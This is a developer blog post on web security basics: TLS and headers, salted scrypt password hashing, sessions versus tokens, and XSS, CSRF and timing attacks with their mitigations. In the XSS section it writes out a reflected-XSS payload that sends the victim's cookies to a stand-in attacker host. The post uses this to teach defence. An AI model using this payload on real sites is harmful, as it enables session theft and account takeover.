What You Should Know About Web Security

Tadeáš Peták
Bits and Pieces
Published in
11 min readJan 31, 2022

--

At the end of last year, I went through a few coding challenges when applying for frontend and fullstack positions. While the details differed, the meat of the assignments was the same: reasonable setup, basic auth, well-structured code, hooks, tests, docker.

To my delight, I have actually learnt quite a bit. Here, I aim to capture both the refreshed and brand new knowledge I gained with regard to security.

In particular, I cover the following ground in this post:

  1. Setup: laying foundations for a secure web app
  2. Passwords: storing secrets
  3. Authentication: sessions, tokens, and their pros & cons
  4. Vulnerabilities: XSS, CSRF, etc., and how to mitigate them

Since I tread mostly in the realms of frontend and full stack, the examples are in TypeScript. The concepts are, naturally, language-agnostic.

Setting Up

Let’s establish a solid Express base to build upon.

HTTPS

It’s 2022, use TLS. Free, the cost of this layer of security, seems a fair price to pay for securing your websites against man-in-the-middle attacks, eavesdropping, and tampering. The only thing you need is a certificate.

For local development, either create a self-signed one, or use lvh.me whose only job is to reflect any request coming its way back to your own localhost (particularly handy with subdomains).

When hosting your app out there, all the modern rage — Vercel, Netlify, Heroku — takes care of certificates for you. Should you find yourself in need of one, Let’s Encrypt has your back, free of charge again.

Headers

It’s an official recommendation by Express to use Helmet to protect against well-known web vulnerabilities by setting headers appropriately.

Notably, Helmet disables x-powered-by (that header leaking your app’s engine), enforces HSTS (telling browsers to prefer HTTPS), and disables MIME type sniffing (dangerous e.g. when you’re loading a text file, but your browser decides it’s text/javascript). If you’re into understanding all the details, check out what Helmet sets by default. It feels reasonable indeed.

Basic code for your Express server might, therefore, look as follows:

Basic Express setup with Helmet and TLS.

Passwords

The cornerstone of securely storing your users is safeguarding their passwords. Let’s go through our options, improving upon them step by step:

  1. If you store your users’ passwords in plain text and someone gets access to your database, all your users’ accounts are compromised. Not ideal.
  2. Let’s hash the passwords. This is slightly better, but if the attacker has a rainbow table at hand — a table mapping plain strings to their hashes — it’s a simple matter of translating the hashes into plain strings.
  3. Once we add salt to the hashes, matters improve significantly. (Salting is the addition of a secret, random string to each password.) Unless the attacker gains access to your server — at which point resistance is pretty futile anyway— unearths your jar of salt, and computes a rainbow table for that particular salt, they can’t translate the hashes in the db back into plain strings. There’s an edge case, however. If Elsa’s password happens to be the same as Anna’s, they will map to the same hash. This might seem acceptable, but what if you wanted to feel like a pro?
  4. You could use a different salt for each user. Of course, you then need to store the salt alongside the hash, so that you can verify credentials sent in on a login attempt, but that’s fine. Getting there! And if the attacker has access to some impressive computational power?
  5. Then key derivation functions come to the rescue. These implement key stretching, which means taking a (possibly weak) passphrase and deliberately making it expensive to compute its hash, i.e. making brute force less fruitful. pbkdf2 or scrypt are examples of such functions.

Concretely, then, you could use node’s endemic crypto.scrypt(password, salt, 64) to compute your password hashes (64 chars long), saving the salt alongside the password in each user’s record. Note that scrypt actually uses pbkdf2 internally but makes even higher demands on the memory required to compute the hash, making brute-force attacks even less rewarding.

Authentication

If you are not logged in, or are not currently submitting sensitive information, there’s little danger from any attack. It’s only when you become authenticated against a service that things get more interesting.

Let’s review the common ways of authenticating users: sessions and tokens.

(Note: Let’s use crypto.randomBytes(64).toString("hex") for generating random strings.)

Sessions in Cookies 🍪

Cookies are small blocks of data created on the server and stored on a user’s device (typically a browser).

Their key characteristic is that, once created, they accompany all future requests on a particular domain between the client and server without any effort on your side. The standard session flow is rather simple:

  1. Submit credentials.
  2. Create a random sessionId on the server, store it in the db and send back in a cookie.
  3. Browser then automatically includes said cookie on subsequent requests, allowing the server to verify the requests are what they claim to be.

Tokens

Chances are you’ve worked with JWTs, but the token in a token-based auth can be anything, as long as it’s possible to verify your server has issued it. In other words, it needs a reliable signature.

As this approach doesn’t leverage any standard mechanism (as is the case with cookies), it’s up to the client to ensure the token is present on all authenticated requests. The flow, therefore, looks as follows:

  1. Submit credentials.
  2. Create a signed token on the server and send it back to the client.
  3. Store the token client-side, typically in local storage.
  4. Manually attach the token on future requests.

Sessions vs. tokens

Here are their key differences:

  1. Storage: sessionId is stored both on the server (database) and on the client (cookie). A token is stored on the client only, making it somewhat stateless.
  2. Verification: When verifying a sessionId in a cookie, you need a db lookup. With tokens, you simply verify the token’s signature.
  3. Multiple domains: Cookies are, by nature, only available on a single domain. Since tokens are included by hand, you can dispatch them to any destination. This makes them champions in cross-domain scenarios. Also, it helps that you don’t need to worry about a db lookup, as we’ve seen.
  4. Revoking: Because it’s enough to delete a session on the server, you can revoke it centrally. A token, on the other hand, must be deleted on the client. This makes sessions a better option if what you’re after is that lovely “Sign out on all devices” functionality. The same is true when a user resets their password or when their account becomes compromised. (With tokens, you could add a disallow table listing users whose tokens shouldn’t be accepted next time, but then the benefit of stateless is removed…)
  5. Vulnerability: Because cookies are included automatically by the browser, session are vulnerable to CSRF. As tokens often live in local storage, they are easier to snatch through XSS. More on both below.

(Note: In theory, you can store a token in a cookie, too. In my mind, however, this somewhat defeats the purpose since vulnerability to CSRF becomes an issue, and the cross-domain advantages disappear. Also, JWTs are significantly larger than sessionIds, so storing them in cookies is adding overhead.)

If you’d like a deeper dive, here’s a decent proponent of tokens, while some advocating of session & cookies can be found in this answer.

Common Vulnerabilities

Since we have a running server, know how to safeguard our users’ info, and can authenticate people using our service, we’re finally vulnerable to some common acronyms. Yay indeed.

(Note: I only go through XSS and CSRF here, but there are plenty more, of course. For starters, I’d recommend e.g. this list by OWASP.)

Cross-Site Scripting (XSS)

XSS is, quite simply, code injection. The entire idea is that a third party can execute code on your website they shouldn’t be allowed to.

Let’s Inject

Say you have a search field. On form submission, the user’s redirected to /?search=whatever, and the contents of the search parameter are reflected on the website above the results. A reasonable UI to remind the user what they’ve searched for, right?

I might send you a link with/?search=<script>alert('booh!')</script>, however, and if the website doesn’t escape the query parameter, you’ll see an alert window. Is scaring a user such a big deal, you ask?

Well, what if it’s Google, you’re logged in, and I send you a link containing /?search=<script>new Image().src=”https://iamtheattacker.me/steal?session="%2bencodeURI(document.cookie);</script>?

Your browser will make a request to the given URL at iamtheattacker.me, and I will get the contents of all your cookies (or local storage) in the logs of my server. This enables me to, for all intents and purposes, purport to be you.

A simple service demonstrating the mechanism of XSS.

If you’d like to give it a go, above is the simplest code for such scenario. Here, you can paste the harmful query from above. In the Network tab of your dev tools, you will find the calamitous request to the outside domain.

What we’ve seen above is called reflected XSS. There are other flavours, too, such as stored XSS which work by storing something harmful e.g. in a post or comment by a user. The mechanism, however, is exactly the same.

Should You Worry?

These days, you have to go out of your way to do something this silly. All modern tools do heaps of escaping for you behind the scenes, there are tools to help you validate user input, and detailed manuals to guide your through uncovering vulnerabilities that might still be left.

Typically, however, modern apps have a lot of external dependencies — think npm— and any one of them might try to steal sensitive browser data in the exact same way as injected code in the example above. Since your client deps have access to everything on the local domain, precisely like your own code, you should be careful about what you depend on.

Cookies vs. Tokens

By default, client-side code has access to both cookies and tokens pertaining to your domain.

With tokens, it’s difficult. You need to manually put that JWT in the Authorization header, so you can’t really deny your code — and with it any third party either — access to it. You should, therefore, make absolutely sure never to run malicious code; once you do, you’re golden.

Cookie-based authentication can be somewhat more forgiving in this regard. Your code doesn’t need to interact with the sessionId cookie since browsers and servers include it in their exchange automatically. For this reason, you can forbid JS from accessing that cookie by setting its httpOnly parameter to true. That makes it immune to being snatched by a third party of any kind.

Cross-Site Request Forgery (CSRF)

CSRF, often pronounced sea-surf, is an attack that manipulates users to submit unintended requests to an app against which they are currently authenticated.

Let’s Surf

Sherlock is logged in into his bank when Moriarty sends him a phishing email containing a link /transfer?amount=5000&to=moriarty-1234. On receiving such request, this bank priding itself in simplicity takes the amount in the parameters from the authenticated user’s account and transfers it to moriarty-1234.

When the distracted Sherlock clicks this link, his browser sends along a cookie demonstrating his being, well, him, and the bank is more than happy to oblige. Moriarty has won this battle.

“This is nuts!” you say, and rightly so. Of course, no one would change state in a GET request. If you make it a POST one, a link in an email won’t work any more. But, if Moriarty makes a convincing phishing website instead with a form whose action points to /transfer and sends along appropriate body, we’re back to square one. On that form’s submission, Sherlock’s browser sends a cookie which proves the identity, and the bank will make a transfer to Moriarty. Evil has won again.

Cookies vs. Tokens

As you’ve seen in the previous section, the danger of CSRF lies in the authentication info being included alongside requests automatically by the victim’s browser without any interference from anyone’s code. Since tokens do not behave that way, token-based authentication is not prone to CSRF. Cookie-based, on the other hand, very much is.

Mitigation

One way to go about protecting against CSRF is a combination of measures:

  1. Set the sameSite attribute of your auth cookie to lax. This prevents it from being sent on cross-site requests with the exception of the "safe" GET and HEAD which should never modify state. In other words, the link from the example above would still work, but the form would not.
  2. Disable CORS at least on all state-changing requests. That way, e.g. third-party forms can’t be submitted to your endpoints. (In Express, cors is disabled by default. But how many times have you seen someone enable it with app.use(cors()) for the entire API? It’s way too easy, I think.)
  3. Enforce content-type: application/json on your API requests by checking the header on the server assiduously.

The above combo should suffice. If you want to go real committed, there are always CSRF tokens. They are quite simple to cook, really.

CSRF Tokens

Make you server attach a random csrf token to every response that serves your app. Let’s go paranoid-secure and set its sameSite attribute to strict, meaning the client will include exclusively in requests from this very origin.

When making a sensitive request such as submitting a form, make your client include this token from the csrf cookie in the request, commonly in the x-csrf-token header. The server can then check request’s validity by making sure the header value matches the value of the csrf cookie.

Timing Attacks

Let’s get real nit-picky to round things off.

The implementation details of the code below are unimportant. Can you find a way to glean info regarding whether a user has or doesn’t have an account?

I didn’t see any issue whatsoever with this code, even at a third glance. Should you, however, bombard the server with heaps of requests and time them, the API should respond somewhat faster for users that don’t exist.

Why? Well, the condition on line #20 will take longer to evaluate for existing accounts. The following — adding a random delay to the Invalid credentials response — should mitigate such finicky leak of information:

While we’re at it, let’s mention that due to its implementation, comparing strings can also allow attackers to guess more than they should be able to. Using something like node’s crypto.timingSafeEquals is your friend there.

That’s all I’ve got for today, folks. Hope you’ve enjoyed the ride and learnt something new. Constructive feedback in particular is intensely welcome, but I’ll be glad for any kind.

Have a marvelous day!

Build composable frontend and backend

Don’t build web monoliths. Use Bit to create and compose decoupled software components — in your favorite frameworks like React or Node. Build scalable and modular applications with a powerful and enjoyable dev experience.

Bring your team to Bit Cloud to host and collaborate on components together, and greatly speed up, scale, and standardize development as a team. Start with composable frontends like a Design System or Micro Frontends, or explore the composable backend. Give it a try →

Learn More

--

--

Building a tiny house when not coding. Huge fan of yoga, books, and the outdoors.